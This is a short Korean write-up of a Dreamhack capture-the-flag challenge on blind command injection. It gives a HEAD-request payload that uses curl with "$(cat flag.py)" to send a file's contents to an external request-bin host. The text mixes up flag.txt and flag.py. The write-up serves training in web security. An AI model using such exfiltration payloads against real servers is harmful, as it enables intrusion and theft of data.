
문제 설명이 Read the flag file XD 이게 다야... 문제 제목을 보고 blind command injection에 대한 문제인 걸 알 수 있다.
Blind Command Injection이란?
사용자의 입력이 시스템 명령에 사용될 수 있는 공격인 OS Command Injection의 한 종류로 시스템 명령의 수행 결과 값을 알 수 없을 때 사용하는 방법이다.
문제 풀이

문제 서버를 열어보았다. 커맨드 인젝션 문제인 것 같다!
주어진 문제 소스코드를 살펴보자.

GET 메소드가 아닐 때에만 명령어가 실행된다는 걸 알 수 있다.

OPTIONS 를 입력해서 확인해보니 사용 가능한 메소드는 GET, HEAD, OPTIONS가 있다.
(아 중간에 문제 서버를 재생성해서 주소가 바뀌었다)

flag.txt를 확인할 임시 서버가 필요한데 위와 같이 dreamhack tools에서 제공하는 request bin 링크를 생성해서 사용한다.

GET 메소드를 이용하면 명령어 실행이 안 되므로 HEAD 메소드를 이용해야한다.
HEAD /?cmd=curl+https://nieryzj.request.dreamhack.games/+-d+"$(cat+flag.py)" HTTP/1.1
위와 같이 페이로드를 작성해주었다. HEAD 메소드로 flag.txt 값을 외부 서버로 전송하는 페이로드이다.
curl 명령어는 command 기반의 웹 요청도구이다. curl 명령어를 이용해서 아까 생성한 request bin 링크로 데이터를 전송하고 cat 명령어를 이용해서 flag.py를 보는 작업을 수행한다.
-d or --data: HTTP POST 요청 데이터 입력
이렇게 맨위 코드를 위 페이로드로 수정한 뒤 요청을 보낸다.

그리고 request bin 페이지에서 전송된 값을 확인한다.
Body를 확인해보면 서버에서 POST로 전달된 flag 값을 확인할 수 있다.
https://dreamhack.io/wargame/challenges/73
blind-command
Read the flag file XD Reference Web Hacking
dreamhack.io